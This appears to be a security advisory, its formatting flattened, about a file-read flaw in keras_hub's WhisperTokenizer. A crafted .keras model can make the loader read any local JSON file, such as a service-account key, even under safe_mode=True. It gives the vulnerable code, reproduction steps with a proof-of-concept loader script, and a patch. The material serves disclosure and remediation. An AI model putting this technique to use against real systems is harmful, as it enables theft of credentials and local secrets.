Views
No views yet
keras_hub.models.WhisperTokenizer reads an attacker-controlled
JSON file path from config.json during model deserialization with no safe mode guard..keras file reads any JSON-formatted file accessible
to the process and exposes its content in model.language_tokens. safe_mode=True
does not protect this path._load_dict() helper
bypasses that guard.keras_hub/src/models/whisper/whisper_tokenizer.py:1def _load_dict(dict_or_path):
2 if isinstance(dict_or_path, str):
3 with open(dict_or_path, "r", encoding="utf-8") as f: # no in_safe_mode() check
4 dict_or_path = json.load(f)
5 return dict_or_path__init__():1if language_tokens is not None:
2 language_tokens = _load_dict(language_tokens) # fires if string path1if isinstance(vocabulary, str):
2 if serialization_lib.in_safe_mode():
3 raise ValueError("Requested loading a vocabulary file outside model archive...")
4 with open(vocabulary, "r", encoding="utf-8") as f:
5 ...WhisperTokenizer.set_vocabulary_and_merges() also calls _load_dict(vocabulary)
BEFORE passing the result to the parent class. This converts a path string into a
dict, bypassing BytePairTokenizer's in_safe_mode() check entirely (which only
triggers when it receives a string, not a dict).pip install keras==3.12.1 keras-hub tensorflowecho '{"type":"service_account","project_id":"victim-proj","private_key_id":"abc123"}' > /tmp/whisper_poc_target.json1import sys
2from unittest.mock import MagicMock
3sys.modules.setdefault("tensorflow_text", MagicMock())
4
5import keras
6import keras_hub # required: registers keras_hub>WhisperTokenizer
7
8model = keras.models.load_model("malicious_whisper.keras", safe_mode=True)
9print("model.language_tokens:", repr(model.language_tokens))
10# Prints the parsed JSON content of /tmp/whisper_poc_target.jsonpoc_whisper_file_read.py in this repo.in_safe_mode() checks in _load_dict() and set_vocabulary_and_merges():1from keras_hub.src.saving import serialization_lib
2
3def _load_dict(dict_or_path):
4 if isinstance(dict_or_path, str):
5 if serialization_lib.in_safe_mode():
6 raise ValueError(
7 "Requested loading a file outside the model archive. "
8 "Pass safe_mode=False if you trust the source."
9 )
10 with open(dict_or_path, "r", encoding="utf-8") as f:
11 dict_or_path = json.load(f)
12 return dict_or_path